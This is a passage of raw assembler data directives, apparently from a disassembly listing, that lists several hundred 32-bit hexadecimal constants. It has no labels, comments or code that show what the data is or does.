		dd 5D60DF2Eh, 0B66484E6h, 20F2B9BDh, 28700ADEh,	0A41D85F1h
		dd 2B618461h, 43283C41h, 10F1B2F1h, 45872561h, 7ED66128h
		dd 0A81A2886h, 5361C931h, 0B5A50218h, 7E63239Fh, 0EC5C3D0Bh
		dd 0EA5A5147h, 50A60E4Eh, 21F20BFBh, 0B598211Eh, 8EF13878h
		dd 0C488C043h, 0F13C085Dh, 0B56C217Eh, 210F2151h, 0A83867BCh
		dd 3431EC62h, 0C8B2BC43h, 87241118h, 35B53042h,	4423E108h
		dd 42F46C21h, 50C88FB4h, 6CECC0F3h, 0C10AE1BCh,	26A7375h
		dd 0A0CA4C23h, 51DBCB3Eh, 2EA9B490h, 0E1DCF2B6h, 7569EBE8h
		dd 0E6DFF6B6h, 0D385ADAAh, 0D4B44008h, 2230E43h, 0E82C0864h
		dd 5960B344h, 0DC8F730Fh, 4B84A0B1h, 0A3E6B32Eh, 72344417h
		dd 0F4213CCCh, 1CDDD92Dh, 0CAA88DC8h, 0E65DCA8Ah, 127432CBh
		dd 8212DC10h, 1BB39022h, 9CF6F5D2h, 0CA67431h, 3AC2292Ah
		dd 0F74030C4h, 0E742045h, 0B194BD50h, 0F8081EC9h, 578853E6h
		dd 723B7586h, 460A48CCh, 36A3108h, 6B215091h, 457EB878h
		dd 0D550B2A8h, 44F41464h, 57570AACh, 77585BAh, 0EB044703h
		dd 3C302146h, 40EB0570h, 0C185302Eh, 716EB06h, 1768B774h
		dd 218FFB84h, 0A5BF0E7Ch, 64AD9B51h, 2850CA22h,	48577940h
		dd 0E69725BCh, 9E08F04Ch, 6C623FB9h, 0E37C0BEBh, 0C5531CECh
		dd 0EDE57F57h, 0D7BA3D6Ch, 0DB81C4D8h, 4641008h, 0B242E42Ch
		dd 689734C4h, 2743B47Bh, 32478E85h, 4C9C126Ah, 0E9CD5C98h
		dd 0D92E2520h, 1CDA3130h, 54E741Bh, 0EB19F3A8h,	89024504h
		dd 56FC8299h, 28CA6FAEh, 8821548Ch, 0B2E84E2Ch,	3D0EA451h
		dd 2B8AC69Ch, 391C45F4h, 7A8C7B42h, 5110898Ah, 5C78685Fh
		dd 24855C46h, 0D854474Fh, 4F8984D0h, 68A2642Ah,	5C8A7217h
		dd 404B5205h, 0BDC82416h, 48CA55A8h, 4C2CD129h,	148F4440h
		dd 38C81715h, 8C29CCF0h
		dd 0B5883447h, 4D782CE4h, 0B940238Eh, 24723664h, 0B6232EB4h
		dd 17201528h, 18399FA2h, 9122231Eh, 380BE214h, 0BC8DB8F8h
		dd 56392723h, 17A38A2Eh, 1E780864h, 8804478Eh, 0B1FCE207h
		dd 266B2336h, 54E2F811h, 111EF039h, 0EC8825CCh,	0E41CB5F1h
		dd 0C878118Fh, 1C61F1E0h, 0EA088FD8h, 78D4C424h, 0CC478ED3h
		dd 6223C184h, 0AA473CC8h, 0BE088F7Ch, 78BCC422h, 0B4478EA7h
		dd 62218B84h, 74473CB0h, 88CEA823h, 78A4C420h, 9C478EA9h
		dd 3B1F0384h, 881EEC11h, 72ECF394h, 2B473C90h, 5088F79h
		dd 7880C41Dh, 231C46EEh, 7260C478h, 49473C74h, 35088F71h
		dd 7860C41Bh, 2B548A1Eh, 2CDBE352h, 0C5AABA25h,	0D296858h
		dd 0C8681A4Dh, 19F6D8CAh, 844C478Ch, 406218E6h,	17CF533Ch
		dd 0B8C43423h, 0E8362872h, 0A7B97CDh, 9D60801Eh, 0D09386F3h
		dd 0CE04CFC7h, 104799A2h, 8908021h, 0EFCF04B7h,	74FA4B74h
		dd 8E5DEFFCh, 88347591h, 3F6B737h, 0BD895013h, 34217684h
		dd 0E6C37CB5h, 483C3202h, 0F7C62980h, 88CD7C21h, 80D0525Ah
		dd 8C4287CFh, 0D6B310CFh, 0E2CD6595h, 8922B0E8h, 7D574CD6h
		dd 0D5888DDCh, 68D8C516h, 468EBE17h, 0C93DDDD0h, 0C958C412h
		dd 0C947D878h, 78CA5884h, 0A4CA42D8h, 913048A0h, 0CB5C8A12h
		dd 459A52Bh, 509D4EBEh,	6B179BA8h, 0F25EAD54h, 2F9FB016h
		dd 4AD11027h, 14CB58C2h, 88C95421h, 58D041B2h, 644287CBh
		dd 6ED611CBh, 2BEF51C4h, 0B064104Ah, 0CD8761C4h, 0E836F684h
		dd 5AFF8C14h, 91A92317h, 1354E148h, 0E43DC80Eh,	4629783Ch
		dd 0C4382312h, 3C307212h, 478C087Bh, 10F1842Ch,	733C2062h
		dd 18478CDDh, 0CE4C688h, 0E46BF78h, 0A8C40823h,	35448B41h
		dd 20A76280h, 0B6772318h, 0D8AFFC08h, 8D8E0D7Ch, 0C8651117h
		dd 873F0F0h, 88EC478Ch,	78E0E45Ch, 230646FCh, 72E5C4DCh
		dd 0CE473CD8h, 0A9C2D023h, 1ECC3105h, 47BE9223h, 62045184h
		dd 3A473CB8h, 23C4B423h, 1834AC72h, 19573575h, 2EF92CA5h
		dd 6968CDD8h, 0FBFC3D8Ch, 177F2BD9h, 92AFF3E7h,	0AB307F44h
		dd 5FB48022h, 15021D23h, 6A2177Ch, 741B7439h, 1A83977Ah
		dd 0E7B910A8h, 62AD6E5Fh, 59B11120h, 13A10805h,	0BC743688h
		dd 18191A23h, 5F0ABA1Fh, 0E65BC48Bh, 0C7895F9Ah, 320EBFEDh
		dd 27AD1F30h, 0EFF3EF68h, 6B245774h, 682298ECh,	898AD19Dh
		dd 9BDDF88Bh, 3F37B8Ch,	85C766F0h, 4241FCE4h, 0C47ECACh
		dd 700AA5FDh, 27C59A70h, 157C3D5Bh, 39E6ADCFh, 9A1D640Dh
		dd 0BA290E0Ah, 4A9E415h, 438F2868h, 598D1C15h, 0E94E1658h
		dd 15BFCEDDh, 55533295h, 4EFB93BBh, 427DBD2Bh, 0E4BC4E0Fh
		dd 62F1FEE7h, 8BA343Bh,	0FBBCF32Dh, 811C083Dh, 0AF042D68h
		dd 557AB859h, 0E2AC68BDh, 0BDE92C16h, 3BC68BA1h, 38332489h
		dd 74E2AE21h, 0F4138417h, 0A8C14169h, 81250505h, 52B39E55h
		dd 27BC90BEh, 58A6F957h, 3088DCFAh, 0C9449785h,	0A8E45762h
		dd 61477FECh, 0E28AFD3Eh, 4AB4DDE0h, 2B183856h,	216587F0h
		dd 10E81762h, 1705D6Fh,	680A0986h, 271AEBCh, 75BE1844h
		dd 0D008BBD7h, 8E0F07EDh, 0F275FA15h, 2846E156h, 1AB58A21h
		dd 99E0D913h, 16AC6BB1h, 0A4105B42h, 328A123Fh,	6A0CDFC7h
		dd 5D8AB434h, 16247811h, 515DFF83h, 0FC923028h,	0EDB4103Dh
		dd 9028B88Ah, 13BC37F8h, 9B52B4D5h, 0AC3534FCh,	402A2D0Fh
		dd 0AE7868CAh, 0C53E4D9Dh, 0DC38BE14h, 84ED42A8h, 0C130EC24h
		dd 0B4874149h, 0F142A23Eh, 0AB08EDC0h, 40A11343h, 65732EAEh
		dd 7DABD508h, 71318993h, 888277ADh, 85024CBAh, 8AC82803h
		dd 13857F6Ah, 36ABB708h, 2C661304h, 0E2B6EF70h,	3434D0AFh
		dd 3231F085h, 0F404180Eh, 0F8420329h, 0BE2CEEEDh, 2CEE4EF0h
		dd 24810C69h, 0EEEC3C8Ah, 948CD57h, 0D97AAD2Ah,	0D8F0C77Ah
		dd 54ADC088h, 859B1642h, 0BB28EE85h, 11EE43ECh,	8A73E10h
		dd 100C4376h, 88E81284h, 0A127AD48h, 3BC201FFh,	84BA70DAh
		dd 2A12C475h, 0BBFDAA71h, 16FF2236h, 0B8AD3468h, 0AD5AAA17h
		dd 0C273DA5Fh, 280A187Eh, 10118503h, 0F445CBDDh, 3844F390h
		dd 73FD074Fh, 97D40C9h,	13A31491h, 21287D8Bh, 0CC1C45DEh
		dd 7E27245Dh, 44377C77h, 7AC3A420h, 0E7B4F14Fh,	348FF1F8h
		dd 44DA7428h, 0E4FFDB61h, 6DE8B24h, 0DA7C52B0h,	0F3585AEBh
		dd 0E7AC2DEBh, 8626272h, 0E3712805h, 0CA7BACC8h, 0D0BBF456h
		dd 1A68570h, 94CAB1B7h,	0A6EB699Fh, 0F398E22Ch,	13E69439h
		dd 237CF887h, 8445F380h, 0EB8B0E62h, 18C02752h,	0BF88BCC9h
		dd 0D30F2729h, 8C1E32D1h, 0A0FAFC29h, 45F7B408h, 0D1B5A6F2h
		dd 0B2104FFEh, 0B4849671h, 64431E50h, 2C52840Ch, 11FB804Ch
		dd 880AAC4Ch, 0F3907817h, 0F27C0885h, 343F9C62h, 50F83ED6h
		dd 0F3439CBCh, 0FAC14E1h, 64B23F8Fh, 621C343Dh,	576456CAh
		dd 1B6CA5Fh, 0C065545Ah, 337FF43h, 3DAB4E10h, 0D0AC03F6h
		dd 3664A911h, 0D8AF9C24h, 49E9AB42h, 50A43E56h,	31AD5A61h
		dd 1AABD016h, 24192074h, 6A046A24h, 79AF5C42h, 41A1F14h
		dd 0EEABB068h, 2F20A82Fh, 414CE595h, 0E699096Ah, 0E2203B5Dh
		dd 0F40C9463h, 0B2E74AB9h, 48C6200h, 0AD5205AFh, 29D12078h
		dd 68B2A068h, 719C6411h, 0AA54A2AEh, 802CBFF4h,	5681ACB8h
		dd 68B13028h, 0B7244C78h, 2C1EE665h, 20C798AEh,	0B1C440A4h
		dd 7048B308h, 14AB285Ah, 0BC975344h, 256F2F1Dh,	0A7C05FDDh
		dd 5742E7DEh, 0DA4DF56h, 8D054BABh, 2F2C0F26h, 2C3D4BEAh
		dd 35477C09h, 0C0D969E8h, 245B620h, 0AC08951Dh,	0D9EB13BCh
		dd 20E37257h, 6F19004h,	0A88AFF23h, 0B599C90Eh,	872E6505h
		dd 6A097323h, 0B2758A5h, 3B593C90h, 0EF764CC1h,	940D8D28h
		dd 21AE9D6h, 85980B69h,	0C70A7629h, 0F130850h, 57AC8D83h
		dd 91A5DFF8h, 3E447417h, 0C0331B1h, 570E058Bh, 0FED8C083h
		dd 0FF10C438h, 37402697h, 5D5791Ah, 19FEDF73h, 91C819C8h
		dd 0B35FACA6h, 0F0908FC8h, 75020690h, 0AADC680Ah, 7CE46EDCh
		dd 80AB47D4h, 30740806h, 233F801Dh, 57832B53h, 2DABFD7Ch
		dd 4878E171h, 6A9DB9EFh, 0B02DD748h, 0BCAE9108h, 64657762h
		dd 43889AD5h, 2102159h,	5E8D1213h, 0A5A8BB90h, 302B48FEh
		dd 83C5F91h, 0C2BD3F42h, 213E57E2h, 763BFD0Ch, 0B193A087h
		dd 4268E813h, 0BEFF5474h, 28F85236h, 8720B884h,	0FD77BE6Bh
		dd 0FB7CB135h, 14CF880Eh, 0E9D3D3C7h, 908C5863h, 47E25F0Ch
		dd 0EEA35F96h, 99B4E7FBh, 0B86903ECh, 730F713h,	65BFFB8Ch
		dd 968F269Ch, 9EEAE888h, 7EB11312h, 0DA7EFCE1h,	722B32ECh
		dd 8088AE08h, 75233880h, 16507F03h, 0F258BEDFh,	88C8E0BDh
		dd 0A30C489Dh, 0F3AFBCC8h, 0FCA86250h, 84FB7C10h, 5484987Ch
		dd 8A900694h, 235014FFh, 9CD0AA40h, 7C0885FCh, 3ED35EFBh
		dd 0FC88748Eh, 1D0B3742h, 0E6AA0808h, 982CCB57h, 686E10F0h
		dd 0FA10D1FBh, 14E70F59h, 0FE8B52E8h, 1859C4F6h, 31932DA0h
		dd 0B519FA90h, 0E547DA8Ch, 0BFF51C12h, 28BD6E51h, 3D06F54Dh
		dd 0C2C545Ah, 1806A910h, 9184200Ch, 62064A25h, 9035A9B8h
		dd 0FB1C1024h, 0CFA8CA1h, 84CA461Dh, 103AFB1Ch,	0CA84FB30h
		dd 0BCE9BCC5h, 0A6A95F7Ch, 96165906h, 73FF37AAh, 79969838h
		dd 944E3DB0h, 61B8F5C5h, 4B308B8Fh, 0E3A92B32h,	79F0EAACh
		dd 0E2504F1Dh, 2300208h, 48146814h, 6856C0BEh, 5195A970h
		dd 0F186EBB6h, 45B7993Fh
		dd 8E953F41h, 3DCE0F30h, 0FF9040Ch, 0CA1E8D38h,	0FBA480F8h
		dd 0B6206292h, 0B0FF119Bh, 1FE8132Ch, 180EEBE1h, 8018B862h
		dd 94E717C1h, 27EA7334h, 5694C1DEh, 529354Fh, 2B4B20CFh
		dd 8F06068h, 23765769h,	9B9E1DA4h, 42D2F461h, 6EE426ABh
		dd 0DB0F6445h, 0A1C2553Fh, 15171D43h, 11D53F56h, 9B81F4Ah
		dd 5BB1EE8Dh, 28F8F0E2h, 0B5448688h, 0F4911DCCh, 0D1F98088h
		dd 0E667FA70h, 42F9C84Eh, 0EC11F8F0h, 14421CDAh, 23F98884h
		dd 8C22B478h, 48700CA5h, 36498006h, 0E41846E0h,	0AD7C8D48h
		dd 0CF833B1h, 40C9212Ch, 1DF97CE2h, 43F99008h, 0C4DC2EAh
		dd 0E025ADE6h, 0D0A1F76Ch, 26B415EEh, 0CAED52CCh, 41C88A96h
		dd 47217FF5h, 6717EECCh, 0CE4E6B4Ch, 0EDC4F680h, 88E6EFBFh
		dd 584CC483h, 1226AAE0h, 0D520A32h, 0AD19DC1Ah,	8A6FD079h
		dd 0A8DC8499h, 0DD182C2Ah, 85EED478h, 84ED213Fh, 3C410DABh
		dd 0A1EE43D4h, 0ED08EEE4h, 98A1C143h, 0FFE91DA8h, 8484EF28h
		dd 0F21174D7h, 0F9D88912h, 110C986h, 0D947889Dh, 17A7C955h
		dd 0CECABF4Ah, 6AE522FFh, 420C5E10h, 10FDA5B7h,	0B6D99401h
		dd 270868FBh, 18D9CB9Ah, 1D3490C5h, 0AEBC0816h,	0E5890525h
		dd 98215036h, 0D70408D9h, 0EDA71D4Eh, 0A0B732E3h, 9EA4612Ah
		dd 0FBC99C67h, 87DCA5E0h, 56643E29h, 1CDF1D72h,	0D98421D3h
		dd 62D7084Eh, 0EC3467A0h, 0A44287D9h, 0F4A213D9h, 2C443E47h
		dd 79876161h, 0CB6C16DAh, 0ECC4BFA6h, 476C78CBh, 0CCEC84CCh
		dd 0CD70106Bh, 6CE474E3h, 10CB4268h, 12A8A7F0h,	0CD6C8887h
		dd 86CB6850h, 42561D23h, 81DCD6Ch, 1745CD78h, 0B810E83Bh
		dd 0CF94F1A7h, 0C7143A1Eh, 0E1B1948Eh, 0C41AD114h, 9C38D198h
		dd 90101BF9h, 568888CFh, 94C40E43h, 439028D1h, 435811CFh
		dd 0ED194A1h, 21D1A084h, 9C0EF32Fh, 0C31842A3h,	0C398233Ch
		dd 3CC418C2h, 0C3C49823h, 4921206Ah, 0F91014C5h, 0C5313CF2h
		dd 888D7C0Fh, 304FC310h, 88870DACh, 1051C314h, 35DF18EAh
		dd 0C314088Dh, 10C54276h, 0E8E8F236h, 4A0CA644h, 84A3CCF2h
		dd 0FC2A2BFDh, 4A3F6A17h, 69B4E97Ch, 861395ADh,	140273Eh
		dd 0FB7459D6h, 12D90D93h, 44329144h, 82DC5627h,	0C7290772h
		dd 5281D864h, 823F6F02h, 5A9250F2h, 3F92238Dh, 0B81436CBh
		dd 1FA8E8A6h, 0E9DC8887h, 86E88050h, 4017ED10h,	0EE9DCF1h
		dd 8410E08Fh, 213AEBB6h, 3072257Ch, 7276D98Ah, 84E29858h
		dd 7682DC70h, 0E110E2ECh, 767A777Ch, 9C235C56h,	0E1A1B9E2h
		dd 0EBE3101Fh, 38E2A324h, 2A0EF9A4h, 979D8350h,	0F715143Dh
		dd 0AE290F1h, 0C2E10C10h, 1E413A29h, 0CAB23ED2h, 12E2A8F1h
		dd 18091772h, 8912DBA6h, 6FF9A5E0h, 0DFE02044h,	80F9B7BCh
		dd 0FB21F93h, 0A5BC68C2h, 0E9949CB6h, 6820EB03h, 1F2B60B0h
		dd 50599976h, 25FB159Fh, 287C17CEh, 5410519Dh, 58DE7224h
		dd 75C0F889h, 3F14B73Ah, 0D074F425h, 0A62AE724h, 0D50F8C3Bh
		dd 8BC14FFCh, 83DD4EE1h, 0E32AC0D9h, 0C074A16Ah, 0C347041Ch
		dd 45C2083Ch, 0DF750943h, 0EDA56E27h, 8F24C4BBh, 0C342707Eh
		dd 31C07484h, 701A7054h, 0CA3C343h, 0EC48E8E4h,	0B5A54244h
		dd 458985BBh, 0EA225C0Fh, 0F99892D1h, 8832690Fh, 54AF11FEh
		dd 11C81988h, 0C41E9F57h, 170C5E5h, 75C63B10h, 0F0106E09h
		dd 99052D1Ah, 4F65D283h, 8B123B4Fh, 9112B5F8h, 0B665BB2Eh
		dd 0E550EFCCh, 53D79D62h, 678227ABh, 0BAD58B57h, 9C25476h
		dd 4776A520h, 0C7EE0451h, 1F562516h, 69905325h,	80B47F1h
		dd 2DAD71B4h, 0B86998C4h, 2E1CCC85h, 5B2ADA2Ch,	18EF1B6Ch
		dd 4F275BB7h, 34341095h, 0DB2FD9h, 0B1A4F868h, 975449E7h
		dd 0C345D0C8h, 0DC30CD04h, 9DAAD8BEh, 0CF153469h, 0DC3C8841h
		dd 91211ECFh, 9B38B280h, 8B53C41Dh, 0DC40C441h,	8D9AC21h
		dd 840AEDA8h, 2ADCDC48h, 0AE13D344h, 0A4CC7171h, 1EF23E3Dh
		dd 26421CFDh, 5318DC2Ch, 3E2E9E4Eh, 0E8DC2C10h,	10DC424Ch
		dd 90E8E729h, 0DE77A449h, 65AD489Eh, 0FE5BC2D3h, 88551DFFh
		dd 0FF299A53h, 6D634A9Eh, 2E293E6Ah, 3D457E33h,	68D5CC7Eh
		dd 5BA4382Dh, 1E516B1Eh, 0CAA2FC27h, 73571315h,	0C0172863h
		dd 41DD147Eh, 501203DDh, 0A4B4B9D5h, 4B72F62Ah,	405981C1h
		dd 3B6F347Ah, 99B6119Dh, 0E107CC7h, 0D7BFF510h,	0BA40D43Ah
		dd 9688D311h, 801032F4h, 8FD67456h, 3BB4F0ACh, 0EC4D6B3h
		dd 0CC53EA9h, 0B08BBAA4h, 14A2D4D0h, 0EF8E0F01h, 0E53654CEh
		dd 0BFC05003h, 3489E7D3h, 4BED7BA3h, 868D62BAh,	0FC2F7243h
		dd 0FA085DDh, 9CDE6827h, 16208B27h, 9BB17652h, 755B7300h
		dd 4D6C41CCh, 0B58286DFh, 0FE71DDE4h, 0DF708584h, 0A4C42AB2h
		dd 0CB1CE7A3h, 8CD670Fh, 0E450DF68h, 572386DDh,	0DFE84F4Fh
		dd 84DFE874h, 9797F670h, 0A3A1B8EEh, 0B54B788Ah, 0B6DC5442h
		dd 8FD47FD5h, 90B15494h, 47D8F8D5h, 0DC5011DDh,	0E7DD10DEh
		dd 0FF95668h, 0A7DDD410h, 331DC34h, 3E6B1A47h, 0E0887C97h
		dd 0AAD67CDDh, 5BB2C4A3h, 0E6968AFDh, 0C422B556h, 0C71B62Fh
		dd 0A2B2044Bh, 884A2229h, 0DA54210h, 93F9B05Ch,	0D6624A3h
		dd 2B6BF068h, 4E10B62Fh, 51ED4A0Fh, 8E967CCEh, 0E46815EFh
		dd 0EB14F067h, 0A833D797h, 861BA955h, 0D591F21h, 0EC8F10Ah
		dd 0C2D9B29h, 0A2F89A64h, 0AC14D1B3h, 0B231D397h, 91F0CCAh
		dd 0DDF33B59h, 7156D285h, 63A2C08Bh, 0C2E3D22Ah, 0A8B0938Fh
		dd 8C0C5281h, 4D8C3CB8h, 0A226E656h, 67796277h,	0E458599h
		dd 0C2E2E98h, 5736349Dh, 0DC8741Fh, 0FC6E5694h,	880D42CEh
		dd 0BD7D888h, 0E16C91D1h, 4B420BC2h, 9C5F297Ch,	6022CABBh
		dd 3D86423Ah, 0BDC2F9E7h, 52D14C94h, 3DD73854h,	5B142D4Bh
		dd 0E9932CF2h, 69FE9685h, 0AC40F560h, 24505A75h, 42A0A6BFh
		dd 5A9C4E37h, 2091878Bh, 0A1010E2h, 0AD94820Bh,	439F704Eh
		dd 0BD57FC77h, 9A9591Ch, 0CE141B24h, 34EB690Ah,	0A2E85BA1h
		dd 14C85142h, 0AEB10891h, 0BCE8A793h, 992AC8D6h, 1F675094h
		dd 0E2BF404Ch, 18A1EC64h, 90B63F62h, 0D8F9F449h, 36B62E7Ah
		dd 35EC0F67h, 3FD1B724h, 4EF3884Dh, 0B643BCFAh,	8182701Eh
		dd 0DDB33756h, 8B5A563h, 0A6554549h, 38A19321h,	0FF1510EFh
		dd 148C2C45h, 0CD359976h, 0A92C3998h, 0D19730E6h, 43947E9Fh
		dd 80C02253h, 10D149B6h, 6A574A51h, 0A1780930h,	0BA5541Bh
		dd 0A6589371h, 90799748h, 50D617A8h, 38E10DACh,	59CB6BA1h
		dd 1B855725h, 3C10E6F5h, 0A464C3F4h, 0C41C1B97h, 0F09D8D5Dh
		dd 922C6B0Dh, 9F4C934Dh, 0EAF052C7h, 42166A65h,	5C237AB8h
		dd 85F570D8h, 0EB64AF48h, 2B303792h, 0C9C7A3D9h, 8DAE1E09h
		dd 14147158h, 0D901AF6h, 1253D29Dh, 0C379C00h, 85F56C80h
		dd 88A1681Eh, 6CD126A7h, 0A2ACA32Eh, 2F3D19FCh,	0E415093Ah
		dd 0ABA477A0h, 0F3C23824h, 0BD674EA0h, 69CC4642h, 74A2AE26h
		dd 2C1BB51h, 88D67F62h,	2F5AB5C4h, 2D271FE3h, 8FD6BDF6h
		dd 0EB20022Fh, 26FE56CFh, 0AC1DA549h, 91806C21h, 858C1691h
		dd 5A8CEF5Bh, 0B4075C23h, 2BD60EBCh, 9950DC1Ah,	82E2B858h
		dd 9A9D8F06h, 0DAC05780h, 4D89A05Ch, 448F1B72h,	0C26DAAD3h
		dd 57117421h, 4D0F06CCh, 6B984AFh, 5A778A98h, 5892E25Eh
		dd 5484033h, 6CEFE9B0h,	4F76B8ADh, 7C164478h, 9536F2DFh
		dd 30A3D7F6h, 451D1228h, 1E2D2EFCh, 7BE02F12h, 0D0E6EB45h
		dd 1767785Ah, 53E1099Eh
		dd 2CDEBCD9h, 9F4FF0A6h, 0BC1C427Ch, 0E0FC70A6h, 0DF780885h
		dd 34B30262h, 0D0E0FC21h, 2184E108h, 0B0D0DBA4h, 5265959Fh
		dd 531F5CE1h, 0A4D7CC22h, 6B5FF31Eh, 9812DFB2h,	6A25D89Fh
		dd 0B425E9B2h, 0D9BAD6E2h, 572196C8h, 0A9639FFh, 0E2AC16EFh
		dd 0CC6038FFh, 0E3DEE34Ah, 5489FC21h, 581339E4h, 142613A1h
		dd 0B7925250h, 9F741795h, 7BFE6FABh, 0AC84E442h, 61C131E2h
		dd 0E450101Ah, 923840B8h, 425CC0FFh, 0F14812E4h, 82E1B69h
		dd 1CC5883Dh, 9F58D004h, 0C4C4CEEEh, 3ABC9A82h,	2E2723F6h
		dd 3101AEDh, 0BF168F22h, 25087089h, 7ADCC63Bh, 0A49F3488h
		dd 0ED041D58h, 1088AF1Dh, 36975EDAh, 225C285Ch,	0BB4294CBh
		dd 8C3D314Bh, 5D180209h, 0ABA548Ch, 9E4ACAB0h, 0ACB4659Ch
		dd 0F859970Ah, 305ED46Bh, 6A3174ADh, 0A8D022Ah,	0BEC404F0h
		dd 8CEF9C15h, 30FE37B2h, 94427299h, 0C80C599Eh,	22FE1143h
		dd 104FC268h, 0D77408Bh, 606E587Ah, 68CBEBC3h, 13686C52h
		dd 0E311F574h, 0F11C2694h, 482A8552h, 867E1920h, 0AF05556Ah
		dd 4EDEDE2Ah, 0A5280FA0h, 0A00490ABh, 0B7A2078Ah, 0F3CAFF2h
		dd 17B248BEh, 8EF29DE0h, 1609DCD3h, 6DA70342h, 9CB76F25h
		dd 0B84AB6D1h, 0C826ADA6h, 4EB17814h, 0FF8BF9B0h, 0E7341EE3h
		dd 0B484EA25h, 78B256F3h, 68A2248Fh, 4EFF01F4h,	6925851Fh
		dd 75C2F4D6h, 0EF1CB6F0h, 35ADB40Ch, 988914BEh,	54E80D19h
		dd 2B0DA82Dh, 0BD9888C4h, 0B0FFDFA9h, 879DDC6Eh, 7D1E7589h
		dd 858B5C92h, 0B488857Eh, 3F62639Dh, 0A908CD2h,	8B5F8F2Fh
		dd 8D815AE8h, 0DC830178h, 1CE80F20h, 84E1CBABh,	4A073DBDh
		dd 27F7ACF1h, 41A63007h, 564C2F05h, 0A402A798h,	975209F5h
		dd 9DE29590h, 9D3C7786h, 775AA0EDh, 0D03146CDh,	80504704h
		dd 9D8D7259h, 0E6A573DBh, 51C3B954h, 0C2DBF24Bh, 237734ADh
		dd 0FDA09D24h, 991C5456h, 1C590422h, 2F05A62Ah,	0FB88DE57h
		dd 9CE42215h, 0CD80C43Fh, 1CACC07Ch, 495E739Dh,	9BC9626Eh
		dd 0D259739Ch, 3309CFD3h, 0A295D7C0h, 784444A1h, 1C315B7Eh
		dd 0F63AB4EBh, 69D24F51h, 950F2210h, 2FF165F7h,	285AA6FEh
		dd 0F44F15D1h, 1718A9CCh, 659C5F54h, 0E1C615D6h, 0A84F9843h
		dd 0D775B235h, 0DA170661h, 8FFD4E6h, 0B67FF90Bh, 1C365A03h
		dd 0D4BA2471h, 0A722268Dh, 4655BBD0h, 5D50F10Eh, 0DA16B0BEh
		dd 13F88B28h, 0E890BC68h, 2F20A2F0h, 57B68CB2h,	427A79BFh
		dd 97B49C28h, 12171456h, 7A799BFCh, 9BD0D641h, 0EE4B130Ch
		dd 7C64F2B0h, 44B08691h, 13A743C4h, 994FDACCh, 7D810E38h
		dd 7239688Ch, 8467E257h, 0C82F9BA8h, 0E45F527Ch, 0FE489DE1h
		dd 88601584h, 751F3856h, 1AD1AA13h, 0EFE75FCFh,	1252D464h
		dd 0EC1EFFADh, 0DE20AFFAh, 507FC111h, 93CB7256h, 5CF32CBFh
		dd 29F49B42h, 8E2ADA90h, 46B04FE8h, 0AF2C6818h,	516228A4h
		dd 30911091h, 0FF10B21Ch, 896057C7h, 52B8943Dh,	0D12D14Ch
		dd 36D7AB6Ah, 8D050204h, 0C1DCC945h, 28824DFEh,	70BBA282h
		dd 17105272h, 0F24F6A38h, 5520DA9Fh, 0C9C28351h, 44691C3h
		dd 147D8300h, 0FD3BC295h, 753B9E64h, 0F7DCBB05h, 160E1495h
		dd 45FABE0Ch, 26F02B99h, 93E71044h, 8FACFC8Dh, 0EACCBCC4h
		dd 0A47F9F8Eh, 248C8718h, 0CDD009FCh, 8F76B4D5h, 1C82C88Dh
		dd 5E5F0218h, 59550B74h, 14A0686Eh, 2D1AA153h, 59D815A4h
		dd 3FD6BC20h, 359AD5FFh, 8A401FC4h, 52BFDB33h, 0AEFD49DDh
		dd 33AC681Ah, 85AF3C43h, 0A3080E90h, 1B2197DBh,	88049180h
		dd 0B9E86270h, 0F80C6019h, 8675B843h, 3421A446h, 2488D491h
		dd 8834746Fh, 27446518h, 0A065084Eh, 0D5E40D21h, 27456854h
		dd 7D1F1D39h, 7483EC58h, 7D1AD044h, 103C6878h, 34343C78h
		dd 19731E10h, 8D4102Ch,	5C0F8224h, 7101C0Dh, 10148657h
		dd 0C3CA042h, 0C74DA378h, 30AF659h, 0A405C70Ah,	9442295Eh
		dd 9BD5CC68h, 0A32C14E5h, 2675271Ch, 57F016Ah, 0A315EBD0h
		dd 0A8A31AA4h, 452D1629h, 4834BBC0h, 9C27D429h,	0B0110111h
		dd 0B2A48AD5h, 0BF624065h, 0DF01998h, 0D5288F5h, 0C783184h
		dd 4327A494h, 10B42364h, 0C4D4C854h, 1A383244h,	3E56BB08h
		dd 9EF024ABh, 841E23F0h, 0BA940823h, 31B9B4C2h,	3830E2D4h
		dd 0AC1087BAh, 883230A2h, 0B0946087h, 6414886Dh, 0C2A199B8h
		dd 9C800DA4h, 12F1B07Ah, 21528468h, 3431B80Eh, 1D131019h
		dd 178254ECh, 2A4E0BEBh, 6747B043h, 35D4F013h, 0A8263255h
		dd 8CD4E010h, 4684D078h, 0DC02A54h, 90B99821h, 0BA08C4ACh
		dd 0E4199C32h, 0A8909258h, 86B9480Dh, 0C0238043h, 64CA7010h
		dd 0BA54E2ACh, 28227424h, 8089805h, 0F0512020h,	4C10D018h
		dd 10106878h, 8343C47h,	1A421410h, 5C51B488h, 8644A25Ch
		dd 2161C852h, 0CFA0912Ch, 502611C8h, 3DA0E44Fh,	8E1C451Ch
		dd 0D8230C43h, 45D3FC08h, 0ECCD62C0h, 62C80DA4h, 482C19DCh
		dd 5286C827h, 0B4210D30h, 8827DC94h, 72A46598h,	0CC10D886h
		dd 1E0D9BB8h, 0C81E23C0h, 0B9A33D23h, 0DCC43011h, 9DA462B8h
		dd 0D38809AEh, 0C46AFD94h, 0F47BCE4Fh, 7C287234h, 0BB51CE2Ah
		dd 92701142h, 99348839h, 0D537D064h, 280D4448h,	193832BAh
		dd 86241830h, 0D16DEC4Dh, 1008230Dh, 0BAB4C90Ch, 100EB27Ah
		dd 84D2F034h, 0F4B8A02Bh, 408ED010h, 224920B1h,	4140BA28h
		dd 0FC08A330h, 68785910h, 3C541031h, 9309292Ch,	2CAF61B8h
		dd 42A018BAh, 19C0B2B8h, 588B1CBCh, 0A96D42Dh, 70E7D274h
		dd 0D88802A5h, 0CC538CD2h, 0B3542B8Ch, 2B0DBC15h, 0AC10A688h
		dd 0AA6FF4C8h, 0D0910DA0h, 0D46E9088h, 65848834h, 7C0D2278h
		dd 70183C19h, 0BA642186h, 802343BFh, 8CC45C10h,	185032B9h
		dd 4386BA70h, 10242348h, 0B9E4C440h, 0E0193832h, 46863018h
		dd 0B29C1014h, 28C50C88h, 0BA341A44h, 0DA42032h, 19146248h
		dd 762757FCh, 0A2A20FBCh, 0C0404B9h, 2127A410h,	0CC10D1FCh
		dd 0DF455DFh, 101A0C29h, 0D78CAE8h, 0C432DC44h,	0CD02791h
		dd 430DA488h, 10F823C0h, 0BAD0DDB0h, 9C62A4C8h,	0C9819B9h
